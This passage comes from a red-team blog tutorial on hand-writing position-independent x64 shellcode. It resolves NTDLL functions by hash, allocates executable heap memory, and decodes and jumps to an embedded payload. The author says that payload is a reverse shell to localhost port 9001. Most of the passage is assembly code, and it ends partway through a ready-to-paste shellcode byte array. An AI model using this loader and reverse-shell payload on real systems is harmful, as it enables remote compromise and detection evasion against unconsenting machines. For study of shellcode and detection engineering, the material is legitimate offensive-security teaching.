        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Hash of "</span> <span class="o">&lt;&lt;</span> <span class="n">apis</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">": "</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">hashString</span><span class="p">(</span><span class="n">apis</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><strong>Go ahead and compile that and run it.  You should get the following:</strong></p>

<p><img width="1286" height="91" alt="image" src="https://github.com/user-attachments/assets/32713a19-2cb9-4b15-88f8-98c9a77e39a6" /></p>

<p>Okay, now that wasn’t too tricky right?  That’s all that is required for our hashing routine.  Go ahead and make a note of those two values for now.  I’ll show you how to decode it later using assembly.</p>

<h2 id="parsing-the-pe-export-address-table">Parsing the PE Export Address Table</h2>

<p>Now we’re ready to continue. Let’s parse the PE export address table and get the PE export directory address, address of names, number of names, and total number of names (APIs).</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;=================================================================	</span>
<span class="c1">;Code for parsing Export Address Table</span>
<span class="c1">;=================================================================</span>
<span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="mh">0x3C</span><span class="p">]</span>           <span class="c1">; Get PE header offset (e_lfanew) from DOS header</span>
<span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; Add PE header offset to NTDLL base. Store in RBX.</span>
<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>                  <span class="c1">; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add</span>
<span class="nf">add</span> <span class="nb">cx</span><span class="p">,</span> <span class="mh">0x88ff</span>
<span class="nf">shr</span> <span class="nb">rcx</span><span class="p">,</span> <span class="mh">0x8</span>                  <span class="c1">; RCX = 0x88ff --&gt; 0x88, avoids nulls and removes 0xff, leaving behind the value we need :)</span>
<span class="nf">mov</span> <span class="nb">edx</span><span class="p">,</span> <span class="p">[</span><span class="nb">rbx</span><span class="o">+</span><span class="nb">rcx</span><span class="p">]</span>            <span class="c1">; EDX = [PE Header + 0x88] = Export Directory RVA</span>
<span class="nf">add</span> <span class="nb">rdx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RDX = NTDLL.dll base + Export Directory RVA = Export Directory Address</span>
<span class="nf">mov</span> <span class="nb">r10d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x14</span><span class="p">]</span>          <span class="c1">; R10D = NumberOfNames from Export Directory</span>
<span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Zero R11 before use</span>
<span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x20</span><span class="p">]</span>          <span class="c1">; R11D = AddressOfNames RVA</span>
<span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; R11 = AddressOfNames VMA (Virtual Memory Address)</span>
<span class="nf">mov</span> <span class="nv">r13</span><span class="p">,</span> <span class="nv">r11</span>                  <span class="c1">; Save AddressOfNames pointer in R13 for later name array indexing</span>
<span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nv">r10</span>                  <span class="c1">; Set RCX as countdown loop counter (will decrement through names)</span>
</code></pre></div></div>

<p>I’ve added comments throughout the entirety of the assembly code, so I’m not going to go in great detail on that.  Just know we need the <code class="language-plaintext highlighter-rouge">addressofnames</code> and total number of apis to loop over.  We will ultimately be hashing each API string from the AddressofNames string.  We will use our <strong>ROTATE left by 5 + XOR</strong> hash routine against each string.  We will keep the loop active until we find our api string in question.  That’s the general breakdown of how this works.  Let me add some more code so you can see how the loop is laid out:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">;**********************************************************************</span>
<span class="c1">; Now, we start cycling through all the API functions</span>
<span class="c1">; Starting backwards from Z and working our way to A</span>
<span class="c1">; While that's happening, we hash each API with our hashing routine (ROT left 5 + XOR)</span>
<span class="c1">; And compare the hashed value with our predetermined hash values and see if there's a match!</span>
<span class="c1">;**********************************************************************</span>

<span class="nl">ntdllfindfunction:</span>                <span class="c1">; Loop over Export Address Table to find matching WinApi by hash</span>
    <span class="nf">jecxz</span> <span class="nv">FunctionNameNotFound</span>    <span class="c1">; If RCX = 0, we've checked all names without a match</span>
    <span class="nf">xor</span> <span class="nb">ebx</span><span class="p">,</span><span class="nb">ebx</span>                   <span class="c1">; Zero EBX for use</span>
    <span class="nf">mov</span> <span class="nb">ebx</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; EBX = RVA of function name at current index (RCX), R11 points to AddressOfNames array</span>
	                                <span class="c1">; The index calculation [r11+rcx*4] multiplies by 4 because each RVA is a DWORD (4 bytes)</span>
    <span class="nf">add</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nv">r8</span>                   <span class="c1">; RBX = Function name VMA (add NTDLL base address to RVA)</span>
    <span class="nf">dec</span> <span class="nb">rcx</span>                       <span class="c1">; Decrement loop counter (searching backwards through names array)</span>
    <span class="nf">jmp</span> <span class="nv">hashinitiator</span>             <span class="c1">; Jump to hash this function name and compare</span>
<span class="nl">FunctionNameNotFound:</span>
    <span class="nf">jmp</span> <span class="nv">continuation</span>              <span class="c1">; No matching function found, continue execution</span>
</code></pre></div></div>

<p>So, that’s a lot to take in.  Let me explain how everything plays out in a simpler fashion, using some screenshots from debugging our code.  Remember, we’re working backwards.  So, we’ll be starting with ‘Z’ and working our way to ‘A’.  One of the first Windows API strings I see is this one you’ll see in the screenshot below. This is once we step over the loop and reach the <strong>add rbx, r8</strong> instruction.</p>

<p>The API string is <code class="language-plaintext highlighter-rouge">wcstoul</code></p>

<p><img width="1176" height="594" alt="image" src="https://github.com/user-attachments/assets/0f9e07b9-98a3-48c1-ad97-73ee5f0a0ab8" /></p>

<p>Throughout this loop, we are constantly jumping to the <code class="language-plaintext highlighter-rouge">hashinitiator</code> function routine, which hashes each api string with our hashing routine and compares it to both of our hashes to determine if there’s a match!
Let’s follow the <strong>jmp hashinitiator</strong>.  I’ll show you what that looks like in the next section.</p>

<h2 id="hashing-routine">Hashing Routine</h2>

<p><strong>Here’s what that hashinitiator function code routine looks like:</strong></p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   <span class="c1">;********************************************************</span>
   <span class="c1">; This is our hashing routine where we check if our hash</span>
   <span class="c1">; matches the hash of the current API string</span>
   <span class="c1">;********************************************************</span>

   <span class="nl">hashinitiator:</span>
       <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
       <span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nb">rbx</span>        <span class="c1">; API name</span>
       <span class="nf">xor</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rbx</span>
   <span class="nl">next_char:</span>
       <span class="nf">mov</span> <span class="nb">bl</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>       <span class="c1">; load next char</span>
       <span class="nf">test</span> <span class="nb">bl</span><span class="p">,</span> <span class="nb">bl</span>
       <span class="nf">jz</span> <span class="nb">ch</span><span class="nv">eck_hash</span>
       <span class="nf">rol</span> <span class="nb">eax</span><span class="p">,</span> <span class="mi">5</span>          <span class="c1">; rotate hash left 5 bits</span>
       <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">ebx</span>        <span class="c1">; hash ^= char</span>
       <span class="nf">inc</span> <span class="nb">rsi</span>
       <span class="nf">jmp</span> <span class="nv">next_char</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; This is where we check the hash generated and stored in the EAX register</span>
   <span class="c1">; with all of our pretermined hash values</span>
   <span class="c1">; if there's a match that's found, we jump to FunctionNameFound</span>
   <span class="c1">; and save the hash by pushing it to the stack</span>
   <span class="c1">;********************************************************</span>

   <span class="nl">check_hash:</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0xb5cd8965</span>                <span class="c1">; RtlCreateHeap - Compare all bytes of eax with our pretermined hash values</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
   <span class="nf">cmp</span> <span class="nb">eax</span><span class="p">,</span> <span class="mh">0x4f48603e</span>                <span class="c1">; RtlAllocateHeap</span>
   <span class="nf">je</span> <span class="nv">FunctionNameFound</span>               <span class="c1">; If match, function found</span>
   
   <span class="nf">jmp</span> <span class="nv">ntdllfindfunction</span>
</code></pre></div></div>

<p>Now for some visuals to see how this plays out.  First, we copy our string which is currently in RBX, into RSI</p>

<p><img width="1176" height="274" alt="image" src="https://github.com/user-attachments/assets/43094664-52fa-48a1-910a-e9bc57b890ca" /></p>

<p>Next, we hash each individual character of that string with our rotate left 5 + XOR routine, and compare the hash we get with the hash we’re looking for. In this case, it’s not a match.  But you get the idea</p>

<p>here’s the hash routine applied to the character ‘w’ in this particular API string:</p>

<p><img width="1919" height="721" alt="image" src="https://github.com/user-attachments/assets/f640bf3a-4f06-4f32-a0ea-0bcc32d44c24" /></p>

<p>we rotate the hex value for the letter w, ‘77’, left 5 and then xor it.  You should get:</p>

<p><img width="839" height="541" alt="image" src="https://github.com/user-attachments/assets/877f54f1-3190-407b-9b4e-4265e9e59586" /></p>

<p>We keep this up until we get a full string then we just compare that full hashed string with the two api strings we’re looking for.  In this case, it was NOT a match:</p>

<p><img width="866" height="573" alt="image" src="https://github.com/user-attachments/assets/b1102934-5fe2-42d3-8293-6d94a3570495" /></p>

<p>And here’s the hash for <code class="language-plaintext highlighter-rouge">RtlCreateHeap</code> looks like when we find it:</p>

<p><img width="1716" height="535" alt="image" src="https://github.com/user-attachments/assets/2ebc0b76-d683-4d2e-a3a3-1eece17e97b1" /></p>

<p>In the next section, I’ll show you the register values and stack value for when we find the address of one of our APIs.</p>

<h2 id="locating-our-api-address-values">Locating our API address values</h2>

<p>I think I forgot to mention the API’s this time around will be RtlCreateHeap and RtlAllocateHeap, the NTDLL equivalents to kernel32’s HeapCreate and HeapAlloc.  Ok, so what happens after we find a match?  Well, we need to determine the memory address of the API function!  Crazy enough, that’s the whole point of every single line of code up to this point.  Our primary goal is to reproduce what we so easily gathered in <strong>Part 1</strong>, using <strong>externs</strong>…the actual address of each of our APIs.  But I won’t keep you waiting.  😸  Here’s the function that grabs the API address for both APIs:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">FunctionNameFound:</span>                <span class="c1">; Get function address from AddressOfFunctions</span>
                                  <span class="c1">; ECX currently holds the name index (after dec in loop)</span>
                                  <span class="c1">; Need to get the ordinal from AddressOfNameOrdinals</span>
   <span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rcx</span>                   <span class="c1">; SAVE the loop counter!</span>
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x24</span><span class="p">]</span>           <span class="c1">; AddressOfNameOrdinals RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfNameOrdinals VMA</span>
   
   <span class="nf">inc</span> <span class="nb">ecx</span>                        <span class="c1">; Adjust for the dec in loop</span>
   <span class="nf">movzx</span> <span class="nb">ecx</span><span class="p">,</span> <span class="kt">word</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">2</span><span class="p">]</span>    <span class="c1">; Get ordinal (WORD sized!) from ordinals array</span>
   
   <span class="nf">xor</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r11</span>
   <span class="nf">mov</span> <span class="nb">r11d</span><span class="p">,</span> <span class="p">[</span><span class="nb">rdx</span><span class="o">+</span><span class="mh">0x1c</span><span class="p">]</span>           <span class="c1">; AddressOfFunctions RVA</span>
   <span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; AddressOfFunctions VMA</span>
   <span class="nf">mov</span> <span class="nb">r15d</span><span class="p">,</span> <span class="p">[</span><span class="nv">r11</span><span class="o">+</span><span class="nb">rcx</span><span class="o">*</span><span class="mi">4</span><span class="p">]</span>          <span class="c1">; Use ordinal as index into functions</span>
   <span class="nf">add</span> <span class="nv">r15</span><span class="p">,</span> <span class="nv">r8</span>                    <span class="c1">; Function address</span>
   <span class="nf">push</span> <span class="nv">r15</span>                       <span class="c1">; Push the API we found to the stack for retrieval later.  We do this for all of them</span>
   <span class="nf">mov</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rdi</span>                   <span class="c1">; RESTORE the original loop counter</span>
   <span class="nf">mov</span> <span class="nv">r11</span><span class="p">,</span> <span class="nv">r13</span>                   <span class="c1">; Restore AddressOfNames pointer</span>
   <span class="nf">dec</span> <span class="nb">rcx</span>                        <span class="c1">; Continue counting down</span>
   <span class="nf">jmp</span> <span class="nv">ntdllfindfunction</span>
</code></pre></div></div>

<p>Here’s what the registers and stack look like when we compute the API memory address!</p>

<p><img width="1532" height="752" alt="image" src="https://github.com/user-attachments/assets/e72590fa-874b-4f57-bc95-20cf8941adad" /></p>

<p>Once you run through the Loop a second time, you’ll also locate the memory address for <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code>. I’ll let you do that yourself for homework and catch up with you in our next section!</p>

<h2 id="using-our-newly-acquired-api-addresses-to-call-rtlcreateheap-and-rtlallocateheap">Using our newly acquired API addresses to call RtlCreateHeap and RtlAllocateHeap!</h2>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">continuation:</span>

   <span class="c1">;********************************************************</span>
   <span class="c1">; CONGRATS!  you found all the hashes, let's continue</span>
   <span class="c1">;******************************************************** 	</span>
	
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">]</span>      <span class="c1">;RtlCreateHeap API location on stack</span>
<span class="nf">mov</span> <span class="nv">r12</span><span class="p">,</span> <span class="p">[</span><span class="nb">rsp</span><span class="p">]</span>            <span class="c1">;RtlAllocateHeap API location on stack</span>
<span class="c1">; execute resolved APIs</span>
    
<span class="nf">xor</span>     <span class="nb">r9d</span><span class="p">,</span> <span class="nb">r9d</span>          <span class="c1">; CommitSize  = 0 (let system decide)</span>
<span class="nf">mov</span>     <span class="nb">r8d</span><span class="p">,</span> <span class="mh">0x100000</span>     <span class="c1">; ReserveSize = 1 MB (or any non-zero value)</span>
<span class="nf">xor</span>     <span class="nb">edx</span><span class="p">,</span> <span class="nb">edx</span>          <span class="c1">; HeapBase    = NULL (let system choose)</span>
<span class="nf">mov</span>     <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0x00040002</span>   <span class="c1">; Flags = The numeric values for these heap flags are: HEAP_GROWABLE = 0x00000002 and HEAP_CREATE_ENABLE_EXECUTE = 0x00040000</span>
                            <span class="c1">; When you OR them together: HEAP_GROWABLE | HEAP_CREATE_ENABLE_EXECUTE = 0x00040002</span>
                          
<span class="nf">call</span>    <span class="nv">r14</span>               <span class="c1">; RtlCreateHeap</span>

<span class="nf">xor</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
		
<span class="nf">mov</span>         <span class="nv">r8</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span> <span class="c1">;size of shellcode</span>
<span class="nf">mov</span>         <span class="nb">edx</span><span class="p">,</span> <span class="mi">8</span>                      <span class="c1">; zero the memory</span>
<span class="nf">mov</span>         <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rax</span>                    <span class="c1">; Memory region/Address of Heap</span>
<span class="nf">call</span>        <span class="nv">r12</span>                         <span class="c1">; RtlAllocateHeap</span>
<span class="nf">push</span> <span class="nb">rax</span>
<span class="nf">pop</span> <span class="nb">rdx</span> <span class="c1">; memory address of mapped region of memory</span>
</code></pre></div></div>

<p>This part should look similar to Part 1, with the exception of using NT APIs instead of the kernel32 provided APIs.  We also will need to include a few more parameters before we call our RtlCreateHeap API.</p>

<p>In part 1, I resorted to using the stack to store a variable but we really don’t need to.  I just wanted to show you how you can store variables on the stack.  That being said, we do have both of our NT api addresses on the stack and we need to move them into registers so we can call them!  You’ll see I do just that on the first two lines of code in this function.  Notice in the image below, our stack pointer (RSP) now happens to be on RtlAllocateHeap and 8 bytes awat from <code class="language-plaintext highlighter-rouge">RtlAllocateHeap</code> is <code class="language-plaintext highlighter-rouge">RtlCreateHeap</code>!  You’ll also notice registers R12 and R14 contain our respective API addresses 😸</p>

<p><img width="1261" height="722" alt="image" src="https://github.com/user-attachments/assets/55ff6e91-f26d-47e0-a72f-5a64dda05d8f" /></p>

<h2 id="decode-shellcode-and-jump-to-it">Decode Shellcode and jump to it!</h2>

<p>It’s exactly what the title states.  At this point, we’ve allocated memory on the Heap for our shellcode and now we just need to decode our encoded shellcode.  We will also copy our shellcde byte for byte into the allocated heap memory region we created.  We don’t have to use RtlMoveMemory or memcpy, as we can simply use good ole fashioned <code class="language-plaintext highlighter-rouge">mov</code> instruction in assembly to accomplish this!</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">lea</span> <span class="nb">rsi</span><span class="p">,</span> <span class="p">[</span><span class="nv">rel</span> <span class="nv">encoded_shellcode</span><span class="p">]</span>
<span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="nv">encoded_shellcode_total</span>
<span class="nf">mov</span> <span class="nv">r14</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; save for later</span>
<span class="nf">xor</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rax</span>
	
<span class="nl">chunk_reader:</span>
    
<span class="nf">mov</span> <span class="nb">al</span><span class="p">,</span> <span class="kt">byte</span> <span class="p">[</span><span class="nb">rsi</span><span class="p">]</span>
<span class="nf">mov</span> <span class="p">[</span><span class="nb">rdx</span><span class="p">],</span> <span class="nb">al</span>            <span class="c1">; Here's where we copy our shellcode byte by byte into our allocated Heap memory</span>
<span class="nf">inc</span> <span class="nb">rsi</span>
<span class="nf">test</span> <span class="nb">rcx</span><span class="p">,</span> <span class="nb">rcx</span>
<span class="nf">jz</span> <span class="nv">final</span>
<span class="nf">inc</span> <span class="nb">rdx</span>
<span class="nf">loop</span> <span class="nb">ch</span><span class="nv">unk_reader</span>
    
<span class="nl">final:</span>
<span class="nf">jmp</span> <span class="nv">r14</span>                  <span class="c1">; Jump to our shellcode in heap memory and execute it!</span>
</code></pre></div></div>

<p>If you use my exact source code for this blog post, just know it’s a reverse shell destined for port 9001 on localhost.  I use that a lot for testing purposes.  Speaking of the full source code, I’ll list it now!</p>

<p><strong>Full Source Code Below:</strong></p>

<p><a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2025-11-25-PIC%20Shellcode%20from%20the%20Ground%20up%20-%20Part%202">Source Code</a></p>

<p>Compile it and convert to an .obj object file and extract the shellcode bytes from the object file per the usual routine.  Pop that into your favorite shellcode loader, and you’re golden!  You have now written x64 assembly code that is completely PIC friendly and can be compiled and ran without issue in your red team engagements 😸  Here’s the shellcode if anyone needs it for a quick copy/paste reference.  Funny enough, it’s essentially shellcode loading shellcode.  😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> 